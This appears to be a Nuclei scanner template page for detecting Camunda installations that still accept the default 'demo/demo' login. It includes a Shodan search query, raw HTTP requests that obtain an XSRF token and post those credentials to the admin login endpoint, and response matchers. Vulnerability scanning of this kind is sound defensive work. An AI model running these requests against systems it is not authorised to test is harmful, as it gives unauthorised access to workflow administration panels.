Camunda - Default Login

ID: camunda-default-login

Severity: high

Author: bhutch

Tags: default-login,camunda

Description

Camunda login panel contains a default login vulnerability.

YAML Source

id: camunda-default-login

info:
  name: Camunda - Default Login
  author: bhutch
  severity: high
  description: |
    Camunda login panel contains a default login vulnerability.
  reference:
    - https://github.com/camunda/camunda-docs-manual/blob/master/content/webapps/admin/user-management.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Camunda Welcome"
  tags: default-login,camunda

http:
  - raw:
      - |
        GET /camunda/app/welcome/default/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /camunda/api/admin/auth/user/default/login/welcome HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Accept: application/json, text/plain, */*
        X-Xsrf-Token: {{xsrf_token}}

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - demo
      password:
        - demo

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"userId"'
          - '"authorizedApps"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: xsrf_token
        group: 1
        internal: true
        part: header
        regex:
          - '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'
# digest: 490a004630440220385b16d4e0608efd022a71db946b3497318bf0ec8ff4c7ecf287aede5092930202206fec70bcdd185d0ecd44049827a4b1b42dd3f0e4455b3e646999040d806bb1a2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/camunda/camunda-default-login.yaml"

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